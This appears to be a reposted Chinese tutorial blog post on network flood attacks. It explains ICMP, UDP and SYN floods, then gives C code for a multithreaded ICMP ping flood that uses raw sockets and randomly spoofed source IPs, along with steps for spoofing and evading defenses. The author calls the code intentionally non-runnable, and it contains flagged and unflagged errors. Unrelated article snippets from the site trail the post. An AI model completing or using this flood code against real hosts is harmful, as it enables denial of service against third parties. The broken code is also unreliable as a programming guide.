​​​​网络编程探索系列 —— 洪水网络攻击

 

hello !大家好呀! 欢迎大家来到我的网络编程系列之洪水网络攻击,在这篇文章中,你将会学习到在网络编程中的洪水网络攻击的原理,以及源码剖析,能让大家更能了解网络编程技术!!!

希望这篇文章能对你有所帮助,大家要是觉得我写的不错的话,那就点点免费的小爱心吧!

               

目录

一.洪水攻击

1.1 什么是洪水攻击?

1.2 洪水攻击的三种类型

二.ICMP洪水攻击原理剖析

       2.1 基本过程分析

 2.2 具体实现

       2.2.1 ICMP报文发送:

  2.2.2 主函数


一.洪水攻击

1.1 什么是洪水攻击?

洪水攻击,也被称为拒绝服务攻击(DoS),是一种旨在通过使网络或系统资源耗尽来阻止用户访问服务的攻击手段。这种攻击通常通过发送大量请求来淹没目标系统,导致合法用户无法访问服务,其中主要利用了网络协议的安全机制或者直接使用十分简单的大量ping资源的方法来对目标机造成影响

1.2 洪水攻击的三种类型

        ICMP洪水攻击: ICMP(Internet Control Message Protocol)用于在IP网络中发送控制消息,比如我们常用的ping命令就是基于ICMP协议的。ICMP洪水攻击,也称为Ping洪水攻击,是通过向目标主机发送大量ICMP Echo请求(ping命令)来进行的,这会导致目标主机响应大量的ICMP Echo回复,从而耗尽其网络带宽或系统资源。

        UDP洪水攻击: UDP(User Datagram Protocol)是一种无连接的协议,常用于视频流、在线游戏等应用。UDP洪水攻击则是利用UDP协议的特性,向目标主机发送大量的UDP数据包。由于UDP是无连接的,目标主机在接收到这些数据包时,会尝试查找对应的端口和应用程序,但往往找不到,因此会为每个数据包发送一个ICMP不可达错误。这会消耗目标主机的带宽和系统资源。

        SYN洪水攻击: SYN洪水攻击发生在TCP(Transmission Control Protocol)连接的三次握手阶段。攻击者发送大量的TCP SYN请求到目标主机,但并不回复SYN-ACK,这样目标主机会为每个SYN请求保留资源,等待完整的握手完成。由于这些连接永远不会完成,这会导致目标主机的资源被耗尽,无法建立新的连接。

为了防范这些攻击,网络管理员通常会部署防火墙、入侵检测系统(IDS)和入侵防御系统(IPS)等安全措施来监控和过滤可疑流量。同时,合理配置网络设备和服务器,关闭不必要的服务和端口,也能有效减少被攻击的风险。

二.ICMP洪水攻击原理剖析

       2.1 基本过程分析

           ICMP洪水攻击,也称为Ping洪水攻击,是一种网络攻击方式,它通过向目标主机发送大量的ICMP Echo请求(ping命令)来消耗其网络带宽和系统资源。这种攻击的实现过程通常包括以下几个步骤:

  1. 选择目标:攻击者首先选择一个或多个目标主机作为攻击对象。这些目标通常是网络中的服务器或关键设备。

  2. 创建伪造的ICMP请求:攻击者会编写或使用现成的工具来生成大量的ICMP Echo请求。这些请求通常会包含伪造的源IP地址,以隐藏攻击者的真实身份。

  3. 发送ICMP请求:攻击者将大量的ICMP Echo请求发送到目标主机。由于这些请求的源IP地址是伪造的,目标主机无法直接回送到真正的攻击源。

  4. 消耗目标资源:目标主机接收到这些ICMP请求后,会尝试回应每个请求。这会导致目标主机的网络带宽和系统资源被大量消耗,从而影响其正常服务。

  5. 持续攻击:攻击者会持续发送ICMP请求,直到目标主机无法正常响应或网络连接饱和。

  6. 防御绕过:为了绕过网络防御系统,攻击者可能会使用各种技术,如IP地址欺骗、分布式攻击(使用多个攻击源)等。

  7. 攻击终止:攻击者可以在任何时间停止发送ICMP请求,或者在网络防御措施生效后被迫停止攻击。

 2.2 具体实现

由于这个洪水攻击属于非法代码,我在这里给出大致代码,这个代码不能运行使用,我的目的是让大家能更好了解这个过程,学习网络编程相关知识。

       2.2.1 ICMP报文发送:

        

//icmp头部打包函数
static void DoS_icmp(void){struct sockaddr_in to; struct ip * iph; //ip头部结构struct icmp * icmph; //icmp头部结构char * packet ; //数据包大小int pktsize = sizeof( struct ip) + sizeof (struct icmp) + 64;packet = malloc (pktsize);iph = (struct ip *) packet;icmph = (struct icmp *) (packet + sizeof (struct ip));memset(packet , 0 , pktsize);iph->ip_v =4;//ip版本iph->ip_hl=5;//ip头部长度iph->ip_tos=0;//服务类型iph->ip_len = htons(pktsize) ; //ip报文总长度iph->ip_id = htons(getppid()); //标识设置为pidiph->ip_off = 0;iph->ip_ttl = 0x0;iph->ip_p = port_icmp;iph->ip_sum = 0;iph->ip_src = (unsigned long ) myrandom(0,65535);iph->ip_dst = dest;icmp->icmp_type =  ICMP_ECHO;//回显请求icmp->icmp_code =0;icmp->icmp_sum = htons(~(ICMP_ECHO<<8));to.sin_family = AF_INET;to.sin_addr.s_addr = iph->ip_dst;to.sin_port = htons(0);sendto(rawsock , packet , pktsize , 0,(struct sockaddr *) &to , sizeof(struct sockaddr));free(packet);}

实现一个简单的ICMP洪水攻击(也称为Ping洪水攻击)。这种攻击通过向目标主机发送大量的ICMP Echo请求(ping命令),由于安全原因,这里不对这个代码进行详细解释,大家有不懂的可以自行上网学习。

  2.2.2 主函数

static void DoS_fun(unsigned long ip){while(alive){DoS_icmp();}
}
  • 定义了一个执行ICMP洪水攻击的函数DoS_fun,它在一个循环中不断调用DoS_icmp函数,直到alive标志变为0。
int main(int argc , char * argv[]){struct hostent * host = NULL; //主机信息struct protoent * protocol = NULL;char protoname[] = "icmp";int i = 0;pthread_t pthread[maxchild];//线程组int err = -1;alive = 1;signal(SIGINT ,sig_process); // 错误:信号处理函数名错误,应该是sig_processif(argc < 2){return -1;}protocol = getprotobyname(protoname);if(protocol ==NULL) E_MSG("getprotobyname" ,-1); // 错误:E_MSG未定义,应该是exit(-1);port_icmp = protocol->p_proto;dest = inet_addr(argv[1]);if(dest == INADDR_NONE){host = getprotobyname(argv[1]); // 错误:应该是gethostbynamememcpy((char *)&dest , host->h_addr.s_addr , host->h_length);}int rawsock = socket(AF_INET ,SOCK_RAW , RAW); // 错误:RAW应该是port_icmpif(rawsock<0) rawsock = socket(AF_INET ,SOCK_RAW , PROTO_ICMP); // 错误:PROTO_ICMP未定义,应该是port_icmpsetsockopt(rawsock , SOL_IP , IP_HDRINCL , "1" , sizeof("1"));for(int i =0; i<maxchild ; i++){err = pthread_create(&pthread[i] , NULL, DoS_fun ,NULL); // 错误:DoS_fun应该接收ip参数,但是这里传递的是NULL}for(int i =0; i<maxchild ; i++){pthread_join(pthread[i],NULL);}close(rawsock);return 0;
}
  • 程序的主函数main接受一个命令行参数,即目标IP地址。
  • 它首先设置alive标志为1,并注册了SIGINT信号的处理函数。
  • 然后使用getprotobyname获取ICMP协议的值,并尝试将命令行参数转换为IP地址。
  • 如果转换失败,它会尝试通过域名解析获取IP地址。
  • 接下来,它创建一个原始套接字用于发送ICMP

 好啦!到这里这篇文章就结束啦,关于实例代码中我写了很多注释,如果大家还有不懂得,可以评论区或者私信我都可以哦!! 感谢大家的阅读,我还会持续创造网络编程相关内容的,记得点点小爱心和关注哟!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/615338.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UE C++ 学习

UBT&#xff08;虚幻编译工具&#xff08;UnrealBuildTool&#xff09;&#xff09;和UHT虚幻头工具&#xff08;UnrealHeaderTool&#xff09; UE有一组用于自动执行编译虚幻引擎过程的工具&#xff0c;包括 UBT和UHT&#xff08;以及其他工具&#xff09;。实现这一套工具的目…

Git分布式版本控制系统——Git常用命令(二)

五、Git常用命令————分支操作 同一个仓库可以有多个分支&#xff0c;各个分支相互独立&#xff0c;互不干扰 分支的相关命令&#xff0c;具体如下&#xff1a; git branch 查看分支 git branch [name] 创建分支&#x…

探秘大模型:《提示工程:技巧、方法与行业应用》背后的故事

提示工程是一种新兴的利用人工智能的技术&#xff0c;它通过设计提示引导生成式 AI 模型产生预期的输出&#xff0c;来提升人与 AI 的互动质量&#xff0c;激发 AI 模型的潜力&#xff0c;提升AI的应用水平。 为了让每一个人都拥有驱动大模型的能力&#xff0c;以微软全球副总裁…

创建SAP替代增强的过程

发现公司的凭证增强程序里没有前人写过完全替代的增强。没有完全替代增强想要实现一些复杂一点的替代就很难实现。所以我来创建一个完全替代&#xff0c;并且把过程记录下来&#xff0c;方便以后回头查看。 因为我公司已经实施过增强了&#xff0c;下面这个从零开始实施增强的大…

VS2022 debug调试时提示“未找到源”

1.问题 启动vs单步调试时&#xff0c;遇到某些特定语句会触发 未找到xxx.xx 您需要查找 xxx.xx 以通过查看源来确定当前调用堆栈帧。非调试情况下程序正常运行&#xff0c;调试情况下出现该问题后点击继续运行&#xff0c;程序正常运行&#xff0c;但会一直提示未找到......网…

CSS3 立体 3D 变换

个人主页&#xff1a;学习前端的小z 个人专栏&#xff1a;HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结&#xff0c;欢迎大家在评论区交流讨论&#xff01; 文章目录 ✍CSS3 立体 3D 变换&#x1f48e;1 坐标轴&#x1f48e;2 perspective 透视视…

kail渗透攻击之ARP欺骗

一、什么是ARP协议&#xff1f; 一、什么是ARP欺骗&#xff1f; ARP欺骗的运作原理是由攻击者发送假的ARP数据包到网关上。其目的是要让假的ARP数据 包送至特定的IP地址的流量被错误送到攻击者所取代的地方。因此攻击者可将这些流量另行 转送到真正的网关或…

AI-数学-高中-35概率的基本(运算)性质

原作者视频&#xff1a;【概率】【一数辞典】4概率的基本&#xff08;运算&#xff09;性质_哔哩哔哩_bilibili 概率的基本&#xff08;运算&#xff09;性质&#xff1a; 1.任意一个随机事件A的发生概率>0; 2.必然事件的概率1&#xff0c;不可能事件概率为空&#xff1b;…

Flutter仿Boss-7.首页列表

效果 考察使用 Flutter Model的创建TabBar及TabBarView 的使用标签Wrap控件的使用列表ListView的使用 具体实现 今天懒的写文字了&#xff0c;想看具体实现的可以直接去我的github上&#xff1a; github&#xff1a;github.com/yixiaolunhui/flutter_project

LDRA Testbed软件静态分析_常见问题及处理

系列文章目录 LDRA Testbed软件静态分析_操作指南 LDRA Testbed软件静态分析_自动提取静态分析数据生成文档 LDRA Testbed软件静态分析_Jenkins持续集成_(1)自动进行静态分析的环境搭建 LDRA Testbed软件静态分析_Jenkins持续集成_(2)配置邮件自动发送静态分析结果 LDRA Testb…

Leetcode刷题之移除元素(C语言版)

Leetcode刷题之移除元素&#xff08;C语言版&#xff09; 一、题目描述二、题目解析 一、题目描述 给你一个数组 nums 和一个值 val&#xff0c;你需要 原地 移除所有数值等于 val 的元素&#xff0c;并返回移除后数组的新长度。 不要使用额外的数组空间&#xff0c;你必须仅…

(学习日记)2024.04.18:UCOSIII第四十六节:CPU利用率及栈检测统计

写在前面&#xff1a; 由于时间的不足与学习的碎片化&#xff0c;写博客变得有些奢侈。 但是对于记录学习&#xff08;忘了以后能快速复习&#xff09;的渴望一天天变得强烈。 既然如此 不如以天为单位&#xff0c;以时间为顺序&#xff0c;仅仅将博客当做一个知识学习的目录&a…